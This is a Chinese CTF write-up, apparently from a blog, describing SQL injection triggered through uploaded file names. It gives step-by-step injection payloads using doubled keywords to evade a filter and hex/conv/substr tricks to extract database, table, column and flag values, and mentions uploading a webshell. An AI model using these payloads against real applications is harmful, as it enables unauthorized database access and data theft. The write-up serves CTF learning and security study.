SQL 注入已经在前一章为大家介绍了个大概, 本文将讲述我遇到的本以为是文件上传漏洞, 却是以文件名触发的 SQL 注入!
本文分享的内容同样来自于一道 CTF 题!
1. 直接进入正题
(1) 初步探测
先看一下主页面(题目需要注册登录, 这里直接跳过了)
就这个页面, 我不知道你看到的时候会怎么认为, 我的第一想法就是他一定是一个文件上传漏洞拿 flag. 于是我开始了我得上传之旅, 一开始还是有一些欣喜, 觉得超简单的一道题: 文件上传拿 shell 就完事了. 于是通过 burp 抓包, 修改请求头, 成功的将小马上传到了服务器(这里不多解释, 文件上传以后再和大家分享). 却发现根本无法获得文件所在路径, 也就是只能上传, 却无法利用.
小结: 当思考网站是否为文件上传漏洞时, 不仅仅要考虑是否能上传木马文件, 还要考虑文件被上传到服务器以后, 文件所在的位置, 也就是能否被利用.(本题大牛应该直接就能发现不是文件上传, 因为根本无法获得上传文件所在路径)
(2)尝试进行 SQL 注入
没办法只能继续寻找漏洞所在, 再来看一下上传了几个文件之后的网站:
在页面 (上图) 中可以清楚地看到已经上传的文件 (名). 这说明文件被上传到了数据库中, 同时浏览器从数据库中读取了上传的文件, 那么这个过程就有可能触发 SQL 注入. 于是在文件名中先尝试输入 select database() 命令(我认为现在没必要直接去探测数据库逻辑, 构造可执行的 SQL 语句, 不过你也可以直接构造能在服务器可 SQL 语句格式) 并上传.
你会发现当文件名为 select database().jpg 的时候, 输出的文件名为 database().jpg. 而当输入文件名为 aaa database().jpg 时, 输出的文件名也为 aaa database().jpg. 那么就可判断, 服务器将 select 过滤了, 然后在尝试其他命令, 发现 from 也被过滤掉了.(select database()是暴数据库名的一种方式)
(3)尝试绕过
既然服务器将 select 命令过滤掉了, 那说名一定有猫腻, 那么就尝试绕过.
首先尝试解决 select 和 from 被过滤的问题, 我尝试了编码方式, 发现服务器返回信息没有解码, 这说明编码后在数据库中不能将其转变成命令执行, 因此不可行. 然后尝双写(也是一种常见的绕过方式). 惊喜的发现 selselectect 可以成功绕过. 同样 frfromom 也能成功绕过.
由以上得出结论服务器可能存在 SQL 注入.(因为在文件名中过滤掉了 select 和 from 两个常用 SQL 命令, 并成功绕过了过滤)
2. 确定文件名触发 SQL 注入
解决了过滤, 我盟来构造一下能够被数据库执行的 SQL 语句,
(1) 猜测服务器通过命令: insert into 表名('filename',...) values('你上传的文件名',...); 来将数据存储到数据库.
(2) 构造语句:'+(selselectect database())+' .
(3) 拼接后的 sql 语句为: insert into 表名('filename',...) values('文件名'+(selselectect cdatabase())+'.jpg',...);
因此尝试 1'+(selselectect database())+'.jpg . 服务器返回 0, 说明 SQL 语句被执行了, 但无法输出执行结果.
3. 开始操作
首先考虑是返回数据时数据被过滤掉了, 尝试改为输出十六进制,'+(selselectect hex(database()))+'.jpg . 服务器返回 "7765625".
7765625 解码为 "web".(貌似成功注入)这里我当时也是信誓旦旦的以为完成了, 可以进一步猜表猜字段了.
但是要注意的是本题还设置了一种截断, 即: 插入数据库文件名中如果包括 SQL 语句, 那么在返回信息时, 服务器将对字母进行截断(某些特殊字符也会截断或过滤). 这是一个很大的坑, 但是如果你经验丰富可能很容易发现这个截断, 判断依据如下:
因为当你构造的文件名为 '+(selselectect hex(database()))+'.jpg . 服务器返回 "7765625". 而输入 111'+(selselectect hex(database()))+'.jpg 时, 返回的信息为 765736 (=7765625+111).
但输入 a111'+(selselectect hex(database()))+'.jpg 时, 仍返回 7765625.
因此即可以说明命令: 1'+(selselectect hex(database()))+'.jpg 的返回值为什么为 0(因为返回数据是字符, 不是数值, 因此只能返回 0). 也可以判断服务器进行了字符 (英文字母等) 截断.
解决办法是: 尝试其他进制表示. 二进制表示失败(可能是服务器设置问题, 我也没咋弄清楚为啥二进制返回 0). 于是使用 conv 命令, 将 16 进制转换为 10 进制: CONV(N,from_base,to_base) N 是要转换的数据, from_base 是原进制, to_base 是目标进制.
(1) 构造命令:'+(selselectect conv(hex(database()),16,10))+'.jpg . 返回一个带小数点的数值.
这是因为返回值太大, 系统使用科学计数法 (xx e xxxxx) 表示, 因此使用 substr 做长度限制. substr(str,pos,len) str 字符串, 从 pos 开始的位置, 截取 len 个字符(空白也算字符).
(2) 构造命令:'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg ,(经过不断测试发现长度最大为 12, 长度大于 12 返回值就会以科学计数法表示)返回 10 进制数: 131277325825392 转化为 16 进制为 7765625f7570, 转换成字符: web_up(Unicode 编码: 12 个字节相当于 6 个字符)
构造命令'+(selselectect conv(substr(hex(database()),13,25),16,10))+'.jpg , 返回 10 进制数: 1819238756 转化为 16 进制为 6c6f6164, 转换成字符: load
得到数据库名: web_upload
(3) 得到数据库名, 那么就可以猜表名了.
构造命令: '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload'limit 1,1)),1,12),16,10))+'.jpg
'+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload'limit 1,1)),13,12),16,10))+'.jpg
通过改变 substr 的参数, 最后将得到的字符连接得到表名: hello_flag_is_here
(4) 得到表名, 那么猜字段.
构造命令: '+(seleselectect+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME ='hello_flag_is_here'limit 1,1)),1,12),16,10))+'.jpg
通过改变 substr 的参数, 最后将得到的字符连接得到字段: i_am_flag
(5) CTF 的宗旨, 可以拿 flag 了.
构造命令: '+(selselectect+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
通过改变 substr 的参数, 最后将得到的字符连接得到 flag. 拿到 flag, 注入完成.
具体暴库过程, 可参考上一篇文章
4. 总结
知识点:
文件上传, 不仅要注意是否能上传, 还要考虑文件位置. 文件是否能够被利用.
与数据库交互并回显, 有可能触发 SQL 注入.
SQL 语句重写绕过.
SQL 语句的巧妙构造.
编码转换的巧妙运用.
本文供安全人员参考. 以上是小白给大家的经验分享, 望大佬们多多指教 Thank You !
来源: https://www.cnblogs.com/conquer-vv/p/11328249.html